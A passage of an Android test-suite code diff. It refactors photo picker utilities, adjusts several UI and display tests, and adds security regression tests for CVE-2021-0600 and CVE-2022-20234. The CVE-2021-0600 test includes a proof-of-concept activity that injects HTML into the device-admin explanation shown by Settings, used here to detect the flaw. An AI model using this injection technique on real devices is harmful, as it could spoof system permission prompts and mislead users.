int state) throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
inst.getUiAutomation().adoptShellPermissionIdentity(
Manifest.permission.CHANGE_COMPONENT_ENABLED_STATE);
try {
- packageManager.setComponentEnabledSetting(sComponentName, state,
+ packageManager.setComponentEnabledSetting(componentName, state,
PackageManager.DONT_KILL_APP);
} finally {
inst.getUiAutomation().dropShellPermissionIdentity();
}
- waitForComponentToBeInExpectedState(packageManager, state);
+ waitForComponentToBeInExpectedState(packageManager, componentName, state);
}
- private static void waitForComponentToBeInExpectedState(PackageManager packageManager,
+ private static void waitForComponentToBeInExpectedState(
+ @NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) throws Exception {
- pollForCondition(() -> isComponentEnabledSetAsExpected(packageManager, state),
+ pollForCondition(() ->
+ isComponentEnabledSetAsExpected(packageManager, componentName, state),
"Timed out while waiting for component to be enabled");
}
@@ -112,20 +113,9 @@ public class GetContentActivityAliasUtils {
throw new TimeoutException(errorMessage);
}
- private static boolean isComponentEnabledSetAsExpected(PackageManager packageManager,
+ private static boolean isComponentEnabledSetAsExpected(@NonNull PackageManager packageManager,
+ @NonNull ComponentName componentName,
int state) {
- return packageManager.getComponentEnabledSetting(sComponentName) == state;
- }
-
- @NonNull
- private static String getPhotoPickerPackageName() {
- return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
- }
-
- @NonNull
- private static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
- final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
- final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
- return ri.activityInfo.packageName;
+ return packageManager.getComponentEnabledSetting(componentName) == state;
}
}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
new file mode 100644
index 00000000000..f767d7a8f6e
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerPackageUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts.util;
+
+import static android.provider.MediaStore.ACTION_PICK_IMAGES;
+
+import android.app.Instrumentation;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+
+import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class PhotoPickerPackageUtils {
+ /**
+ * Clears the package data.
+ */
+ public static void clearPackageData(String packageName) throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand("pm clear " + packageName);
+
+ // We should ideally be listening to an effective measure to know if package data was
+ // cleared, like listening to a broadcasts or checking a value. But that information is
+ // very package private and not available.
+ Thread.sleep(500);
+ }
+
+ /**
+ * Return package name of Documents UI.
+ */
+ @NonNull
+ public static String getDocumentsUiPackageName() {
+ final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT);
+ intent.setType("*/*");
+ return getActivityPackageNameFromIntent(intent);
+ }
+
+ /**
+ * Return the package name of the given intent.
+ */
+ @NonNull
+ public static String getActivityPackageNameFromIntent(@NonNull Intent intent) {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+ final ResolveInfo ri = inst.getContext().getPackageManager().resolveActivity(intent, 0);
+ return ri.activityInfo.packageName;
+ }
+
+ @NonNull
+ public static String getPhotoPickerPackageName() {
+ return getActivityPackageNameFromIntent(new Intent(ACTION_PICK_IMAGES));
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
index b4643151f4b..13eeccca042 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerUiUtils.java
@@ -20,6 +20,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.text.format.DateUtils;
+import androidx.annotation.NonNull;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.UiObject;
import androidx.test.uiautomator.UiScrollable;
@@ -142,6 +143,16 @@ public class PhotoPickerUiUtils {
.isTrue();
}
+ /**
+ * Verify if the app label of the {@code sTargetPackageName} is visible on the UI.
+ */
+ public static void verifySettingsCloudProviderOptionIsVisible(@NonNull String cmpLabel) {
+ assertWithMessage("Timed out waiting for cloud provider option on settings activity")
+ .that(new UiObject(new UiSelector().textContains(cmpLabel))
+ .waitForExists(TIMEOUT))
+ .isTrue();
+ }
+
public static void verifySettingsFragmentContainerExists() {
assertWithMessage("Timed out waiting for settings fragment container to appear")
.that(new UiObject(new UiSelector()
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 1979805b8dd..ca5d18c5669 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -984,6 +984,7 @@ public class PerformanceTest {
final int ZOOM_STEPS = 5;
final float ZOOM_ERROR_MARGIN = 0.05f;
final int ZOOM_IN_MIN_IMPROVEMENT_IN_FRAMES = 1;
+ final int MAX_IMPROVEMENT_VARIATION = 2;
for (String id : mTestRule.getCameraIdsUnderTest()) {
StaticMetadata staticMetadata = mTestRule.getAllStaticInfo().get(id);
CameraCharacteristics ch = staticMetadata.getCharacteristics();
@@ -1093,6 +1094,10 @@ public class PerformanceTest {
sequenceId = newSequenceId;
}
+ int variation = Arrays.stream(overrideImprovements).max().getAsInt() -
+ Arrays.stream(overrideImprovements).min().getAsInt();
+ assertTrue(String.format("Zoom latency improvement variation %d is too large",
+ variation), variation <= MAX_IMPROVEMENT_VARIATION);
mReportLog.addValues("Camera zoom ratios", zoomRatios, ResultType.NEUTRAL,
ResultUnit.NONE);
mReportLog.addValues("Latency improvements", overrideImprovements,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 1bc31c11a35..98f6a169930 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -210,6 +210,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
testTurnScreenOnActivity(lockScreenSession, activityClient,
false /* useWindowFlags */);
+ // On Auto split-screen multi-tasking UI, testTurnScreenOnActivity() can lead to lifecycle
+ // state transitions in Home because of device sleep and also because of config change
+ // (b/308213530).
+ // Wait for the existing TurnScreenOnActivity to finish and the home activity to be in
+ // stopped state as the display is OFF.
+ mWmState.waitForAllStoppedActivities();
// Start TURN_SCREEN_ON_ACTIVITY
launchActivity(TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
@@ -398,7 +404,10 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
- mWmState.assertHomeActivityVisible(false);
+ if (!hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove this if condition when root tasks setup is moved to SysUI.
+ mWmState.assertHomeActivityVisible(false);
+ }
}
@Test
@@ -621,7 +630,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ }
}
@Test
@@ -678,7 +692,13 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ }
}
@Test
@@ -736,7 +756,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mInstrumentation.getUiAutomation().syncInputTransactions();
mWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ }
lockScreenSession.sleepDevice();
// We should make sure test activity stopped to prevent a false alarm stop state
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 3b6c93dd4ef..b5092b3c652 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -955,6 +955,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_HIDDEN);
expectImeHidden(stream);
@@ -963,6 +964,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@Test
public void testUnfocusedEditor_stateAlwaysHidden_hidesIme() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_HIDDEN);
expectImeHidden(stream);
@@ -973,6 +975,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_VISIBLE);
// The previous IME should be finished
@@ -998,6 +1001,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateAlwaysVisible() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_ALWAYS_VISIBLE);
// The previous IME should be finished
@@ -1023,6 +1027,7 @@ public class FocusHandlingTest extends EndToEndImeTestBase {
@ApiTest(apis = {"android.inputmethodservice.InputMethodService#onStartInput",
"android.inputmethodservice.InputMethodService#showSoftInput"})
public void testUnfocusedEditor_stateUnchanged() throws Exception {
+ Assume.assumeFalse(isPreventImeStartup());
ImeEventStream stream = startFocusedEditorActivity_thenAnotherUnfocusedEditorActivity(
SOFT_INPUT_STATE_UNCHANGED);
// The previous IME should be finished
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 6cd292ac771..5f27a97a4e9 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -48,13 +48,20 @@ public class ConfigurationTest extends AndroidTestCase {
display.getRealMetrics(mMetrics);
}
+ @CddTest(requirement = "2.2.1")
@Presubmit
public void testScreenConfiguration() {
double xInches = (double) mMetrics.widthPixels / mMetrics.xdpi;
double yInches = (double) mMetrics.heightPixels / mMetrics.ydpi;
double diagonalInches = Math.sqrt(Math.pow(xInches, 2) + Math.pow(yInches, 2));
double minSize = 2.5d;
- if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
+ double minShortEdgeInches = 0.0d;
+ double minLongEdgeInches = 0.0d;
+ if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ minSize = 4.04d;
+ minShortEdgeInches = 2.2d;
+ minLongEdgeInches = 3.4d;
+ } else if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.R) {
minSize = 3.3d;
}
if (FeatureUtil.isWatch()) {
@@ -64,8 +71,20 @@ public class ConfigurationTest extends AndroidTestCase {
// Cars have a different minimum diagonal.
minSize = 6.0d;
}
+
assertTrue("Screen diagonal must be at least " + minSize + " inches: " + diagonalInches,
diagonalInches >= minSize);
+ // We can only verify short and long edge screen dimensions on non watch and auto devices.
+ if (!FeatureUtil.isAutomotive() && !FeatureUtil.isWatch()) {
+ assertTrue(
+ "Screen short edge must be at least " + minShortEdgeInches + " inches: "
+ + Math.min(xInches, yInches),
+ Math.min(xInches, yInches) >= minShortEdgeInches);
+ assertTrue(
+ "Screen long edge must be at least " + minLongEdgeInches + " inches: "
+ + Math.max(xInches, yInches),
+ Math.max(xInches, yInches) >= minLongEdgeInches);
+ }
double density = 160.0d * mMetrics.density;
assertTrue("Screen density must be at least 100 dpi: " + density, density >= 100.0d);
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index e7168c2568a..f8d882ba055 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -291,6 +291,19 @@
</intent-filter>
</activity>
+ <activity android:name="android.security.cts.CVE_2021_0600.PocActivity" />
+
+ <receiver android:name="android.security.cts.CVE_2021_0600.PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_cve_2021_0600" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
<service android:name="android.security.cts.AttributionSourceService"
android:enabled="true"
android:exported="true"
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
index 04c33e35cfe..3423f3239a0 100644
--- a/tests/tests/security/res/values/strings.xml
+++ b/tests/tests/security/res/values/strings.xml
@@ -44,4 +44,19 @@
<string name="cve_2023_20960_uriStringComponent">component=</string>
<string name="cve_2023_20960_uriStringIntent">intent:#Intent;</string>
<string name="cve_2023_20960_uriStringSuffix">;end</string>
+
+ <!-- CVE-2021-0600 -->
+ <string name="cve_2021_0600_action">CVE_2021_0600_action</string>
+ <string name="cve_2021_0600_errorCreateCharSeq">Failed to create a charsequence to contain HTML
+ text</string>
+ <string name="cve_2021_0600_failMsg">Vulnerable to b/179042963 !!</string>
+ <string name="cve_2021_0600_intentNotFound">Failed to resolve %1$s</string>
+ <string name="cve_2021_0600_keyException">exception</string>
+ <string name="cve_2021_0600_keyHtml">html</string>
+ <string name="cve_2021_0600_noException">noException</string>
+ <string name="cve_2021_0600_pattern">.*CVE_2021_0600_EXPN.*</string>
+ <string name="cve_2021_0600_patternNotFound">UI element with text pattern %1$s not found
+ </string>
+ <string name="cve_2021_0600_targetText">CVE_2021_0600_EXPN</string>
+ <string name="cve_2021_0600_targetTextHtml"><![CDATA[<h1>CVE_2021_0600_EXPN</h1>]]></string>
</resources>
diff --git a/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
new file mode 100644
index 00000000000..2b7410c06d4
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_cve_2021_0600.xml
@@ -0,0 +1,20 @@
+<?xml version ="1.0" encoding ="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<device-admin>
+ <uses-policies />
+</device-admin>
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
new file mode 100644
index 00000000000..7981c4253bf
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/CVE_2021_0600.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Rect;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0600 extends StsExtraBusinessLogicTestCase {
+ private static final long TIMEOUT_MS = 5000;
+ private CompletableFuture<String> mPocActivityReturn;
+ private UiDevice mDevice;
+ private Context mContext;
+
+ // b/179042963
+ // Vulnerable package : com.android.settings (As per AOSP code)
+ // Vulnerable app : Settings.apk (As per AOSP code)
+ @AsbSecurityTest(cveBugId = 179042963)
+ @Test
+ public void testPocCVE_2021_0600() {
+ try {
+ Instrumentation instrumentation = getInstrumentation();
+ mDevice = UiDevice.getInstance(instrumentation);
+ mContext = instrumentation.getContext();
+
+ // Registering a broadcast receiver to receive broadcast from PocActivity.
+ mPocActivityReturn = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ mPocActivityReturn.complete(intent.getStringExtra(
+ mContext.getString(R.string.cve_2021_0600_keyException)));
+ } catch (Exception e) {
+ // ignore.
+ }
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter(mContext.getString(R.string.cve_2021_0600_action)));
+
+ // Launch the PocActivity which in turn starts DeviceAdminAdd activity with normal
+ // text as 'explanation'.
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), false);
+ mContext.startActivity(intent);
+ String pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException.trim()
+ .equals(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of the normal text with no formatting. Because width is same both
+ // with and without fix, height is being used for comparing the with and without
+ // fix behaviour.
+ int heightWoHtml = getVulnerableUIHeight();
+ assumeTrue(heightWoHtml != -1);
+
+ // Launch PocActivity again such that DeviceAdminAdd activity starts with formatted text
+ // this time.
+ mPocActivityReturn = new CompletableFuture<>();
+ intent.putExtra(mContext.getString(R.string.cve_2021_0600_keyHtml), true);
+ mContext.startActivity(intent);
+ pocActivityException = mPocActivityReturn.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ assumeTrue(pocActivityException, pocActivityException
+ .equalsIgnoreCase(mContext.getString(R.string.cve_2021_0600_noException)));
+
+ // Get the height of HTML text with formatting.
+ int heightWithHtml = getVulnerableUIHeight();
+ assumeTrue(heightWithHtml != -1);
+
+ // On vulnerable device, the text displayed on the screen will be HTML formatted, so
+ // there will be considerable increase in height of the text due to <h1> tag, if there
+ // is at least 20% increase in height, the test will fail.
+ assertFalse(mContext.getString(R.string.cve_2021_0600_failMsg),
+ heightWithHtml > 1.2 * heightWoHtml);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ private int getVulnerableUIHeight() {
+ Pattern pattern = Pattern.compile(mContext.getString(R.string.cve_2021_0600_pattern),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ assumeTrue(mContext.getString(R.string.cve_2021_0600_patternNotFound, pattern),
+ mDevice.wait(Until.hasObject(selector), TIMEOUT_MS));
+ UiObject2 obj = mDevice.findObject(selector);
+ if (obj != null && obj.getText() != null
+ && obj.getText().contains(mContext.getString(R.string.cve_2021_0600_targetText))) {
+ Rect bounds = obj.getVisibleBounds();
+ return bounds.bottom - bounds.top;
+ }
+ return -1;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
new file mode 100644
index 00000000000..2634a426941
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.security.cts.R;
+import android.text.Html;
+
+// The vulnerable activity ADD_DEVICE_ADMIN can't be started as a new task hence PocActivity is
+// created to launch it.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+
+ // Create an intent to launch DeviceAdminAdd activity.
+ Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+ assumeNotNull(getString(R.string.cve_2021_0600_intentNotFound, intent),
+ intent.resolveActivity(getPackageManager()));
+ intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
+ new ComponentName(this, PocDeviceAdminReceiver.class));
+
+ // For adding an extra 'explanation' to the intent, creating a charsequence object.
+ CharSequence seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetText));
+ if (getIntent().getBooleanExtra(getString(R.string.cve_2021_0600_keyHtml), false)) {
+ seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetTextHtml));
+ }
+
+ // Using Html.fromHtml() causes whitespaces to occur at the start/end of the text which
+ // are unwanted. Remove the whitespace characters if any at the start and end of the
+ // charsequence.
+ int end = seq.length() - 1;
+ int start = 0;
+ while ((Character.isWhitespace(seq.charAt(start))) && start < end) {
+ ++start;
+ }
+ while ((Character.isWhitespace(seq.charAt(end))) && end > start) {
+ --end;
+ }
+
+ // Check if the charsequence is valid after trimming the whitespaces.
+ assumeFalse(getString(R.string.cve_2021_0600_errorCreateCharSeq), start > end);
+
+ // Adding the extra 'explanation' and launching the activity.
+ intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
+ seq.subSequence(start, end + 1));
+ startActivity(intent);
+
+ // Send a broadcast to indicate no exceptions occurred.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action)).putExtra(
+ getString(R.string.cve_2021_0600_keyException),
+ getString(R.string.cve_2021_0600_noException)));
+ } catch (Exception e) {
+ try {
+ // Send a broadcast to report exception.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action))
+ .putExtra(getString(R.string.cve_2021_0600_keyException), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore.
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..4d429cf48f8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20234.java b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
new file mode 100644
index 00000000000..8d65cdbd69d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20234 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 225189301)
+ @Test
+ public void testPocCVE_2022_20234() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assume().withMessage("Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing")
+ .that(pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE))
+ .isTrue();
+
+ // With fix, NotificationAccessConfirmationActivity is not exported
+ final String activityName = ".notifications.NotificationAccessConfirmationActivity";
+ final String pkgName = "com.android.car.settings";
+ ComponentName component = new ComponentName(pkgName, pkgName + activityName);
+ boolean exported = pm.getActivityInfo(component, 0 /* flags */).exported;
+ assertWithMessage(
+ "Vulnerable to b/225189301!! "
+ + pkgName
+ + activityName
+ + "can be started from outside system process")
+ .that(exported)
